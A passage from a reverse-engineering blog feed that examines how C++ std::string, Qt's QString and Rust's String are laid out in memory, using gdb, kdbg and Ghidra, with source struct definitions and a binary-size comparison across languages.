0x7fffffffe1e4:<span style="white-space: pre;"> </span>0x6f77206f<br />
0x7fffffffe1e8:<span style="white-space: pre;"> </span>0x00646c72<br />
0x7fffffffe1ec:<span style="white-space: pre;"> </span>0x00000000 null terminated<br />
(gdb) x/s 0x7fffffffe1e0<br />
0x7fffffffe1e0:<span style="white-space: pre;"> </span>"hello world"<br />
<div>
<br /></div>
The string is on the stack, and it's very curious to see what happens if there are two followed strings like these:<br />
<br />
<div style="background-color: #1e1e1e; color: #d4d4d4; font-family: "Droid Sans Mono", monospace, monospace, "Droid Sans Fallback"; font-size: 14px; line-height: 19px; white-space: pre;">
<div>
<span style="color: #569cd6;">auto</span> s = <span style="color: #dcdcaa;">string</span>(cstr);</div>
<div>
string s2 = <span style="color: #ce9178;">"test"</span>;</div>
</div>
<br />
Clang puts toguether both stack strings:<br />
[ptr1][sz1][string1][null][string2][null][ptr2][sz2]<br />
<br />
<h3>
C++ QString datatype</h3>
Let's see the great and featured QString object defined on <a href="https://github.com/radekp/qt/blob/master/src/corelib/tools/qstring.cpp" target="_blank">qstring.cpp</a> and <a href="https://doc.qt.io/archives/3.3/qstring-h.html" target="_blank">qstring.h</a><span id="goog_875086471"></span><a href="https://www.blogger.com/"></a><span id="goog_875086472"></span><br />
<br />
Some QString methods use the QCharRef class whose definition is below:<br />
<br />
<pre><span style="font-size: x-small;">class Q_EXPORT QCharRef {
friend class QString;
QString& s;
uint p;</span></pre>
<pre></pre>
<pre></pre>
Searching for the properties on the QString class I've realized that one improvement that rust and golang does is the separation from properties and methods, so in the large QString class the methods are hidden among the hundreds of methods, but basically the storage is a QStringData *;<br />
<br />
After removing the methods of QStringData class definition we have this:<br />
<br />
s<span style="font-size: x-small;">truct Q_EXPORT QStringData : public QShared {</span><br />
<span style="font-size: x-small;"> QChar *unicode;</span><br />
<span style="font-size: x-small;"> char *ascii;</span><br />
<span style="font-size: x-small;">#ifdef Q_OS_MAC9</span><br />
<span style="font-size: x-small;"> uint len;</span><br />
<span style="font-size: x-small;">#else</span><br />
<span style="font-size: x-small;"> uint len : 30;</span><br />
<span style="font-size: x-small;">#endif</span><br />
<span style="font-size: x-small;"> uint issimpletext : 1;</span><br />
<span style="font-size: x-small;">#ifdef Q_OS_MAC9</span><br />
<span style="font-size: x-small;"> uint maxl;</span><br />
<span style="font-size: x-small;">#else</span><br />
<span style="font-size: x-small;"> uint maxl : 30;</span><br />
<span style="font-size: x-small;">#endif</span><br />
<span style="font-size: x-small;"> uint islatin1 : 1;</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">private:</span><br />
<span style="font-size: x-small;">#endif</span><br />
<span style="font-size: x-small;">};</span><br />
<div>
<br /></div>
Which is pretty clear, there is one QChar pointer and a char pointer, then define in compiler time the size of the unsigned length len.<br />
<br />
So two pointers and the unsigned integer length.<br />
<br />
Regarding QChar it helds two ushorts:<br />
<br />
private:<br />
ushort ucs;<br />
<div>
<br /></div>
<br />
and a set of enums for decribing the type of byte.<br />
<br />
ucs is the two bytes unicode considering latin1 only one byte, if the ushort is > 0xff it return 0.<br />
<br />
we have some quite nice methods implemented on the QChar class to classify the byte stored.<br />
<br />
But lets see the real storage of a QString object:<br />
GCC and doesn't recognize well the object, the print and display are the incomplete.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJOO46mtXSHeHhrkGFuYDJB5sBK6TBZyoapOeQuYFPd1Bbj5zDDTyi-BSuFTRwkzN9Z4wHvaStvhyoBkMa72jhM7bMR2Mq2X6aUhVU2PHyT0aw4IdxIYxEJ0rvsTxsSDHTwEx8/s1600/ddd_qs.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="452" data-original-width="618" height="234" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJOO46mtXSHeHhrkGFuYDJB5sBK6TBZyoapOeQuYFPd1Bbj5zDDTyi-BSuFTRwkzN9Z4wHvaStvhyoBkMa72jhM7bMR2Mq2X6aUhVU2PHyT0aw4IdxIYxEJ0rvsTxsSDHTwEx8/s320/ddd_qs.png" width="320" /></a></div>
<br />
<pre></pre>
<pre></pre>
Kdbg display sort of the substructures with the text length:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhygz7sYzjb2lPF6ibme17pBSib51FyvVJT2HOhc7WhrlZXA5r9w29UomWMZjFkhqWcKYRFWePVvhrmK95btNoT12rsTiqJpksNyzCV0E0j0ER3UY4Y_lOTkBY4MWxG1bo2l_bU/s1600/kdbg_qs.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="276" data-original-width="241" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhygz7sYzjb2lPF6ibme17pBSib51FyvVJT2HOhc7WhrlZXA5r9w29UomWMZjFkhqWcKYRFWePVvhrmK95btNoT12rsTiqJpksNyzCV0E0j0ER3UY4Y_lOTkBY4MWxG1bo2l_bU/s1600/kdbg_qs.png" /></a></div>
<br />
In the practice the QString is an object that helds the two dwords pointer to the metadata, then a pointer to the end, and then the null terminated string text.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJU7iZSFbbF_rzLeLdPuFicJTfphoKd_c9Ae0W0NKjth-c_wiUj_L9Uu6zmbq5g_elfmNXnisrWd61BVsgSpvBSnhd0vn5MONC-5NyMQMOQUkS0MnZeZh8AeRm9ziisRFr5UJs/s1600/qs1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="401" data-original-width="286" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJU7iZSFbbF_rzLeLdPuFicJTfphoKd_c9Ae0W0NKjth-c_wiUj_L9Uu6zmbq5g_elfmNXnisrWd61BVsgSpvBSnhd0vn5MONC-5NyMQMOQUkS0MnZeZh8AeRm9ziisRFr5UJs/s320/qs1.png" width="228" /></a></div>
<br />
<br />
The pointer 0x55555576f6a0 points to the metadata:<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYy4-Gy4cq-rRQK_AMtQ3HH1pdBhZhvOZ9ImkULIhy8UGrm0ZmoIB4JHIAuARwe-sSNSxA2xPSiE_dugzCirn360Jj9_YAiwNpRNOyQak-XeNEY6boUDVK19QmniGfBkYxEX4T/s1600/qs2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="222" data-original-width="268" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYy4-Gy4cq-rRQK_AMtQ3HH1pdBhZhvOZ9ImkULIhy8UGrm0ZmoIB4JHIAuARwe-sSNSxA2xPSiE_dugzCirn360Jj9_YAiwNpRNOyQak-XeNEY6boUDVK19QmniGfBkYxEX4T/s1600/qs2.png" /></a></div>
<br />
Here we have some metadata, like the string size, type of data, and so on.<br />
<br />
<br />
So ... is it possible to overlap the metadata of a string and perform an QString overflow? the answer is yes if the previous string is a controlled char * then we can modify the metadata pointer to our buffer.<br />
<br />
<br />
<b>Binary size benchmark:</b><br />
Some curious stats about the binary file size, which are not conclusive because some standard libs are include on the binary.<br />
<br />
Binary file length:<br />
Turbopascal 2,928 <br />
c++ string 21,256<br />
Free pascal 32,256<br />
c++ QString 28,0496<br />
golang 2,020,112<br />
rust 2,625,776<br />
<br />
<br />
<br />
<br />
The hello world string rust is about 2,625,776 bytes, the c++ one is 21,064 bytesJesúshttp://www.blogger.com/profile/08849754854640967545noreply@blogger.com0tag:blogger.com,1999:blog-34286802.post-31274218375390212102019-10-26T20:30:00.001+02:002019-10-27T19:12:58.353+01:00reversing rust string and str datatypesLets build an app that uses several data-types in order to see how is stored from a low level perspective.<br />
<br />
<h3>
Rust string data-types</h3>
The two first main objects are "str" and String, lets check also the constructors.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGjRwxioFWLH6FRs3H6MN1gQ6KbPiXHMGf2VjDYu4qZcSQ9r8abXyUFUwawRFyGV0rWU6oBzJf6vk2SzIsV4gVmX3JlfIvSCW4ZgonkQxxjtGvkKtOmfzFfAab0JvUKS1kTrDW/s1600/DeepinScreenshot_select-area_20191026184124.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="182" data-original-width="630" height="92" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGjRwxioFWLH6FRs3H6MN1gQ6KbPiXHMGf2VjDYu4qZcSQ9r8abXyUFUwawRFyGV0rWU6oBzJf6vk2SzIsV4gVmX3JlfIvSCW4ZgonkQxxjtGvkKtOmfzFfAab0JvUKS1kTrDW/s320/DeepinScreenshot_select-area_20191026184124.png" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<span id="goog_498115223"></span>
<br />
<h4>
Imports and functions</h4>
<div>
Even such a basic program links several libraries and occupy 2,568Kb, it's really not using the imports and expots the runtime functions even the main. </div>
<div>
<br /></div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJKOAlGgbbqxroHFjY2hsqPpjwi_FtCwKCXR3Nhorl_t9cW068tuiSANB4khGcQKfKkXsscqFp3wlCkbkj1ZRrB4p2g0TlG_9WhToizkGqcdwGl2xBSh2p6r9CC_VByiRMg7vF/s1600/rust_imports.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="150" data-original-width="175" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJKOAlGgbbqxroHFjY2hsqPpjwi_FtCwKCXR3Nhorl_t9cW068tuiSANB4khGcQKfKkXsscqFp3wlCkbkj1ZRrB4p2g0TlG_9WhToizkGqcdwGl2xBSh2p6r9CC_VByiRMg7vF/s1600/rust_imports.png" /></a></div>
<div>
Even a simple string operation needs 544 functions on rust:</div>
<div>
<br /></div>
<div>
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzOmH3l02KyTPGr_PXMvm_PykYjTUeF89WcbroMQCd8b8cx_0e-i6wdxIdosu5D2e46g8VEot60cEIjcHMO_LiMmfpOG_WRoLY01_j3Ddv3x0uZEYPVptl87a2MozLftaPnVx-/s1600/DeepinScreenshot_select-area_20191026183143.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" data-original-height="46" data-original-width="190" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzOmH3l02KyTPGr_PXMvm_PykYjTUeF89WcbroMQCd8b8cx_0e-i6wdxIdosu5D2e46g8VEot60cEIjcHMO_LiMmfpOG_WRoLY01_j3Ddv3x0uZEYPVptl87a2MozLftaPnVx-/s1600/DeepinScreenshot_select-area_20191026183143.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<h4>
Main function</h4>
If you expected see a clear main function I regret to say that rust doesn't seem a real low-level language In spite of having a full control of the memory.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiCl9UWsSYZ-YllrOQwE7PO14kf3mqilRRWKZZUjqJXr83tzrkBTGC2vssFke-R6QupxtY6x4uqCLVw0ZNUxRcr32RWu58Saj41KY2x35Kd5QFIjMi9Ir8JhLQttSgtXk5UzJ9/s1600/DeepinScreenshot_select-area_20191026183619.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="437" data-original-width="904" height="192" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiCl9UWsSYZ-YllrOQwE7PO14kf3mqilRRWKZZUjqJXr83tzrkBTGC2vssFke-R6QupxtY6x4uqCLVw0ZNUxRcr32RWu58Saj41KY2x35Kd5QFIjMi9Ir8JhLQttSgtXk5UzJ9/s400/DeepinScreenshot_select-area_20191026183619.png" width="400" /></a></div>
<br />
Ghidra turns crazy when tries to do the recursive parsing of the rust code, and finally we have the libc _start function, the endless loop after main is the way Ghidra decompiles the HLT instruction.<br />
<div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNvWokl0MEzwPB5hkEa2YfNX85CwtFeOS8AcyFEgctI7FQRovgmTv7v9_4QmujihAQRdG6IzOTKTyJ_pwdF0zd7GYS6OVaqA_nn1wh-7my9oP_s3r9DeRLfttbrb_eLYHCD7qe/s1600/DeepinScreenshot_select-area_20191026185426.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="199" data-original-width="705" height="111" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNvWokl0MEzwPB5hkEa2YfNX85CwtFeOS8AcyFEgctI7FQRovgmTv7v9_4QmujihAQRdG6IzOTKTyJ_pwdF0zd7GYS6OVaqA_nn1wh-7my9oP_s3r9DeRLfttbrb_eLYHCD7qe/s400/DeepinScreenshot_select-area_20191026185426.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div>
If we jump to main, we see a function call, the first parameter is rust_main as I named it below:</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglwZqUgrXeQEyat29_iAdniuMJik8BurPn6hNlNfAJizP1RGZrcvRNWqM-Ne1zUX1bZVovKGXCYutDTFhbcKTA_arYp9qNVzPDL5sOgvX65vV4ikcN5qo1IfeKE09MkbKsFNPN/s1600/main.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="110" data-original-width="471" height="92" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglwZqUgrXeQEyat29_iAdniuMJik8BurPn6hNlNfAJizP1RGZrcvRNWqM-Ne1zUX1bZVovKGXCYutDTFhbcKTA_arYp9qNVzPDL5sOgvX65vV4ikcN5qo1IfeKE09MkbKsFNPN/s400/main.png" width="400" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
If we search "hello world" on the Defined Strings sections, matches at the end of a large string</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUZYwW-DowXMwpwCkRno4FeK4bTMeq1nyS6zv4TcRxVF48Kpyn_A5XTs4iVjID4QLeVJKwDA4ydTRqIyUA5kcOcqL_y6Vic9HMGyDiDwniIXESwBZRonLdUu5UkkqorjviHhyX/s1600/strings.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="289" data-original-width="814" height="140" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUZYwW-DowXMwpwCkRno4FeK4bTMeq1nyS6zv4TcRxVF48Kpyn_A5XTs4iVjID4QLeVJKwDA4ydTRqIyUA5kcOcqL_y6Vic9HMGyDiDwniIXESwBZRonLdUu5UkkqorjviHhyX/s400/strings.png" width="400" /></a></div>
<div>
<br /></div>
<div>
After doing "clear code bytes" we can see the string and the reference:</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRXF36myKjnAw3aP-B24JrZoo5h9ak7O1-ZYOU9gJq2SHVfdldAA1Vv6OhaFODeKYjkOV0F4xkLb6i3RwySZB6wwRH3O2mUkap-qm-0Hq0l6SrBhVaBVyKkaPtCo8AiMALS993/s1600/string.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="299" data-original-width="424" height="281" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRXF36myKjnAw3aP-B24JrZoo5h9ak7O1-ZYOU9gJq2SHVfdldAA1Vv6OhaFODeKYjkOV0F4xkLb6i3RwySZB6wwRH3O2mUkap-qm-0Hq0l6SrBhVaBVyKkaPtCo8AiMALS993/s400/string.png" width="400" /></a></div>
<br />
We can see that the literal is stored in an non null terminated string, or most likely an array of bytes. we have a bunch of byte arrays and pointed from the code to the beginning.<br />
Let's follow the ref. [ctrl]+[shift]+[f] and we got the references that points to the rust main function.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3v3qZZL-VfjInC-razUkAfBsPWmv9KP0pzWE5nW6s0dzY7zmggP3vxPYlWEpZDY1loNr38tpMs_ZTlScYvJjWAs8AB0pT-9fMyIABYS_gBIQhUKFr-SrRDAbYYVAvkBD6bLDs/s1600/DeepinScreenshot_select-area_20191026191140.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="122" data-original-width="700" height="108" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3v3qZZL-VfjInC-razUkAfBsPWmv9KP0pzWE5nW6s0dzY7zmggP3vxPYlWEpZDY1loNr38tpMs_ZTlScYvJjWAs8AB0pT-9fMyIABYS_gBIQhUKFr-SrRDAbYYVAvkBD6bLDs/s640/DeepinScreenshot_select-area_20191026191140.png" width="640" /></a></div>
<br />
After several naming thanks to the Ghidra comments that identify the rust runtime functions, the rust main looks more understandable.<br />
See below the ref to "hello world" that is passed to the string allocated hard-coding the size, because is non-null terminated string and there is no way to size this, this also helps to the rust performance, and avoid the c/c++ problems when you forgot the write the null byte for example miscalculating the size on a memcpy.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhppap9Dl7rPqxNDkTLjhcFoFYOX0fOzDqHGLKlwloXDupSwczFasNa5dHAGZdQbJE-px4SHMGOkVqCgSjNyIgChvD5X4_E6CgL1Rp1bAsf644sYrPRQ518MbQxdVAcgddonAWO/s1600/real_main.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="357" data-original-width="712" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhppap9Dl7rPqxNDkTLjhcFoFYOX0fOzDqHGLKlwloXDupSwczFasNa5dHAGZdQbJE-px4SHMGOkVqCgSjNyIgChvD5X4_E6CgL1Rp1bAsf644sYrPRQ518MbQxdVAcgddonAWO/s640/real_main.png" width="640" /></a></div>
<br />
Regarding the string object, the allocator internals will reveal the structure in static.<br />
alloc_string function call a function that calls a function that calls a function and so on, so this is the stack (also on static using the Ghidra code comments)<br />
<br />
<span style="font-size: xx-small;">1. _$LT$alloc..string..String$u20$as$u20$core..convert..From$LT$$RF$str$GT$$GT$::from::h752d6ce1f15e4125</span><br />
<span style="font-size: xx-small;">2. alloc::str::_$LT$impl$u20$alloc..borrow..ToOwned$u20$for$u20$str$GT$::to_owned::h649c495e0f441934</span><br />
<span style="font-size: xx-small;">3. alloc::slice::_$LT$impl$u20$alloc..borrow..ToOwned$u20$for$u20$$u5b$T$u5d$$GT$::to_owned::h1eac45d28</span><br />
<span style="font-size: xx-small;">4. alloc::slice::_$LT$impl$u20$$u5b$T$u5d$$GT$::to_vec::h25257986b8057640</span><br />
<span style="font-size: xx-small;">5. alloc::slice::hack::to_vec::h37a40daa915357ad</span><br />
<span style="font-size: xx-small;">6. core::slice::_$LT$impl$u20$$u5b$T$u5d$$GT$::len::h2af5e6c76291f524</span><br />
<span style="font-size: xx-small;">7. alloc::vec::Vec$LT$T$GT$::extend_from_slice::h190290413e8e57a2</span><br />
<span style="font-size: xx-small;">8. _$LT$alloc..vec..Vec$LT$T$GT$$u20$as$u20$alloc..vec..SpecExtend$LT$$RF$T$C$core..slice..Iter$LT$T$GT$$GT$$GT$::spec_extend::h451c2f92a49f9caa</span><br />
<span style="font-size: xx-small;">...</span><br />
<span style="font-size: xx-small;"><br /></span>
<span style="font-size: xx-small;"><br /></span>
Well I'm not gonna talk about the performance impact on stack but really to program well reusing code grants the maintainability and its good, and I'm sure that the rust developed had measured that and don't compensate to hardcode directly every constructor.<br />
<br />
At this point we have two options, check the rust source code, or try to figure out the string object in dynamic with gdb.<br />
<br />
<div>
<h4>
Source code</h4>
</div>
Let's explain this group of substructures having rust source code in the hand.<br />
The string object is defined at <a href="https://github.com/rust-lang/rust/blob/master/src/liballoc/string.rs" target="_blank">string.rs</a> and it's simply an u8 type vector.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZ6oZ8EiprStDyV7cfpHyfr-4oKanBaniCMDoGkUnQOgSXVOUtG6_10V2f1HjT7_9kQTiAoyd39pshpFwEjWD-aOwHADl8Wphzx4EqTT2lASj7w8We8Y_cBEHInKuAuCOEZWmQ/s1600/struct+string.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="63" data-original-width="158" height="127" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZ6oZ8EiprStDyV7cfpHyfr-4oKanBaniCMDoGkUnQOgSXVOUtG6_10V2f1HjT7_9kQTiAoyd39pshpFwEjWD-aOwHADl8Wphzx4EqTT2lASj7w8We8Y_cBEHInKuAuCOEZWmQ/s320/struct+string.png" width="320" /></a></div>
<br />
<br />
And the definition of vector can be found at <a href="https://github.com/rust-lang/rust/blob/master/src/liballoc/vec.rs" target="_blank">vec.rs</a> and is composed by a raw vector an the len which is the usize datatype.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizEuvHeOb1-TjMYZNWh7m_x3sz9OGiM7REmFf96VwyMG1eerYBGqaIy-f1D7WHLSTeWPCZGI-zx3g-3BlSeOhxJz04gxhuwN5V76jMEnaWQbaiaDwKsK1ST3UlMpiBEckU9U_L/s1600/struct+vec.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="84" data-original-width="155" height="173" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizEuvHeOb1-TjMYZNWh7m_x3sz9OGiM7REmFf96VwyMG1eerYBGqaIy-f1D7WHLSTeWPCZGI-zx3g-3BlSeOhxJz04gxhuwN5V76jMEnaWQbaiaDwKsK1ST3UlMpiBEckU9U_L/s320/struct+vec.png" width="320" /></a></div>
<br />
<br />
The RawVector is a struct that helds the pointer to the null terminated string stored on an Unique object, and also contains the allocation pointer, here <a href="https://github.com/rust-lang/rust/blob/master/src/liballoc/raw_vec.rs" target="_blank">raw_vec.rs</a> definition.<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAkPo-qyJ7_lU1D5HBMl5x-PXmBGqn7D08ALDfKjdxKcdkOA_WDs71XySnE9KhMq93AR5cerkJ451W9NwhawI722aAqBEsgmc-pNH-cLo092O69N0gBPre1hn2FOpN6qQOstHS/s1600/raw+vec.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="111" data-original-width="321" height="136" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAkPo-qyJ7_lU1D5HBMl5x-PXmBGqn7D08ALDfKjdxKcdkOA_WDs71XySnE9KhMq93AR5cerkJ451W9NwhawI722aAqBEsgmc-pNH-cLo092O69N0gBPre1hn2FOpN6qQOstHS/s400/raw+vec.png" width="400" /></a></div>
<br />
The cap field is the capacity of the allocation and a is the allocator:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpb_EVieMRo1WRA7tmIqJ88Wopeh1V5lSeldB5D39yyMybzrz996ktL29qvwW3pmJHcDibPr2ERq1rjbyNm_jZgjHqbHkfVVqGsx6GaG5f3tTjaonqBMeILDqt4QSIl2ZagsId/s1600/allocator.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="94" data-original-width="540" height="108" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpb_EVieMRo1WRA7tmIqJ88Wopeh1V5lSeldB5D39yyMybzrz996ktL29qvwW3pmJHcDibPr2ERq1rjbyNm_jZgjHqbHkfVVqGsx6GaG5f3tTjaonqBMeILDqt4QSIl2ZagsId/s640/allocator.png" width="640" /></a></div>
<br />
<br />
Finally the Unique object structure contains a pointer to the null terminated string, and also a one byte marker core::marker::PhantomData<u8></u8><br />
<br />
<br />
<h4>
<br class="Apple-interchange-newline" />Dynamic analysis</h4>
The first parameter of the constructor is the interesting one, and in x64 arch is on RDI register, the extrange sequence RDI,RSI,RDX,RCX it sounds like ACDC with a bit of imagination (di-si-d-c)<br />
<br />
So the RDI parámeter is the pointer to the string object:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjn4agezCq77qFmT-cTW_ZWNK928S9G0j5ispjEkkOr1c13XmXPFIYRkoGsyeyOEaSdMzme1i852htAKZaSR1AKjGYR09wtuVOiV7ykntp88DAoPR7X2YcQNJ2byTreIamQVuZG/s1600/rdi.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="97" data-original-width="453" height="85" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjn4agezCq77qFmT-cTW_ZWNK928S9G0j5ispjEkkOr1c13XmXPFIYRkoGsyeyOEaSdMzme1i852htAKZaSR1AKjGYR09wtuVOiV7ykntp88DAoPR7X2YcQNJ2byTreIamQVuZG/s400/rdi.png" width="400" /></a></div>
<br />
So RDI contains the stack address pointer that points the the heap address 0x5578f030.<br />
Remember to disable ASLR to correlate the addresses with Ghidra, there is also a plugin to do the synchronization.<br />
<br />
Having symbols we can do:<br />
p mystring<br />
<br />
and we get the following structure:<br />
<br />
String::String {<br />
vec: alloc::vec::Vec<u8> {</u8><br />
buf: alloc::raw_vec::RawVec<u8 alloc::alloc::global=""> {</u8><br />
ptr: core::ptr::unique::Unique<u8> {</u8><br />
pointer: 0x555555790130 "hello world\000",<br />
_marker: core::marker::PhantomData<u8></u8><br />
},<br />
cap: 11,<br />
a: alloc::alloc::Global<br />
},<br />
len: 11<br />
}<br />
}<br />
<br />
If the binary was compiled with symbols we can walk the substructures in this way:<br />
<br />
(gdb) p mystring.vec.buf.ptr<br />
$6 = core::ptr::unique::Unique<u8> {pointer: 0x555555790130 "hello world\000", _marker: core::marker::PhantomData<u8>}</u8></u8><br />
<br />
(gdb) p mystring.vec.len<br />
<u8><u8></u8></u8><br />
$8 = 11<br />
<br />
If we try to get the pointer of each substructure we would find out that the the pointer is the same:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWrZhM93h3tFf0beBpd-zOOmwBcR6ydpkclBIsAkkM2AkjpD-F4tEWa2NWmY7XN6U4Haix2J8DOHDMz_jdEdx34vYDMVwvBO5BL2uzUaXr92NE5qzcxNTm3-f12jrMhQva3BWS/s1600/pointers.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="172" data-original-width="692" height="158" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWrZhM93h3tFf0beBpd-zOOmwBcR6ydpkclBIsAkkM2AkjpD-F4tEWa2NWmY7XN6U4Haix2J8DOHDMz_jdEdx34vYDMVwvBO5BL2uzUaXr92NE5qzcxNTm3-f12jrMhQva3BWS/s640/pointers.png" width="640" /></a></div>
<br />
If we look at this pointer, we have two dwords that are the pointer to the null terminated string, and also 0xb which is the size, this structure is a vector.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6l7qfnVykkt6esqZHEEFspJYpLYY0inHpXGFksKEFKvtzW9xiLT7ZrBtagy5wMvdElC9tlqIQ_GVRMge6H2eq3ZQQWQ-zrPZm7VL2f6QZfupurl1XMfRO1GHIRnKi1oAunAon/s1600/vector.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="60" data-original-width="685" height="56" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6l7qfnVykkt6esqZHEEFspJYpLYY0inHpXGFksKEFKvtzW9xiLT7ZrBtagy5wMvdElC9tlqIQ_GVRMge6H2eq3ZQQWQ-zrPZm7VL2f6QZfupurl1XMfRO1GHIRnKi1oAunAon/s640/vector.png" width="640" /></a></div>
<br />
The pionter to the c string is 0x555555790130<br />
<br />
